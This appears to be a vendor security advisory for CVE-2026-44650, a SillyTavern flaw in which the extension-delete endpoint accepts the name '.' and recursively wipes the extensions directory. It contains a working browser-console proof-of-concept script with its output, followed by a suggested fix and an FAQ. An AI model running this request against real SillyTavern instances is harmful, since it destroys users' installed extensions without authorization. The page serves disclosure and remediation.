CVE-2026-44650

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses
sanitize-filename validation, causing the entire user extensions directory to be
recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

// [1] "." is truthy, passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior).
path.join(basePath, "") returns basePath itself.
Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e
Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result:
Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }]
Status: 200
Body: Extension has been deleted at data\default-user\extensions
After: []

Same Pattern in Other Endpoints

The same vulnerability exists in:

• POST /api/extensions/update
• POST /api/extensions/version
• POST /api/extensions/branches
• POST /api/extensions/switch

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
• sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
• Related CVE (same project): CVE-2025-59159

##REPORTED BY
Jormungandr

• No authentication required (basicAuthMode: false by default).
  Any user with network access to the SillyTavern instance can permanently
  delete the entire extensions directory with a single HTTP request.
• All installed third-party extensions are unrecoverably lost.
• With global: true and admin privileges, the global extensions directory
  shared across all users can also be deleted.
• This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to
  enable unauthenticated remote exploitation from a malicious website.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-44650 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.0); upgrading removes the vulnerable code path.

Kodem intelligence

const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

1. What is CVE-2026-44650? CVE-2026-44650 is a critical-severity path traversal vulnerability in sillytavern (npm), affecting versions <= 1.17.0. It is fixed in 1.18.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-44650? CVE-2026-44650 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sillytavern are affected by CVE-2026-44650? sillytavern (npm) versions <= 1.17.0 is affected.
4. Is there a fix for CVE-2026-44650? Yes. CVE-2026-44650 is fixed in 1.18.0. Upgrade to this version or later.
5. Is CVE-2026-44650 exploitable, and should I be worried? Whether CVE-2026-44650 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44650 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44650? Upgrade sillytavern to 1.18.0 or later.